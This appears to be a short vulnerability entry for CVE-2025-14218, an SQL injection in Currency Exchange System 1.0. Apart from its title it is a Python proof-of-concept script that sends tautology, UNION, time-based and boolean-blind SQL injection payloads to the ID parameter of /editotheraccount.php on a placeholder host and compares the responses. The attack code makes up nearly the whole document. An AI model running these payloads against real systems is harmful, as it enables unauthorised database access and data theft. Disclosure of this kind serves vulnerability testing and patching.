CVE-2025-14218: code-projects Currency Exchange System 1.0 SQL注入漏洞

import requests # CVE-2025-14218 SQL Injection PoC # Target: Currency Exchange System 1.0 # File: /editotheraccount.php # Parameter: ID target_url = "http://target.com/editotheraccount.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3,4,5-- -", "1' AND SLEEP(5)-- -", "1' OR 1=1 LIMIT 1-- -" ] for payload in payloads: params = { 'ID': payload } try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Length: {len(response.text)}") print("---") except Exception as e: print(f"Error: {e}") # Boolean-based blind SQL injection example boolean_payload = "1' AND 1=1-- -" params_blind = {'ID': boolean_payload} response = requests.get(target_url, params=params_blind) print(f"Blind SQL test - Normal response length: {len(response.text)}") boolean_payload2 = "1' AND 1=2-- -" params_blind2 = {'ID': boolean_payload2} response2 = requests.get(target_url, params=params_blind2) print(f"Blind SQL test - Modified response length: {len(response2.text)}")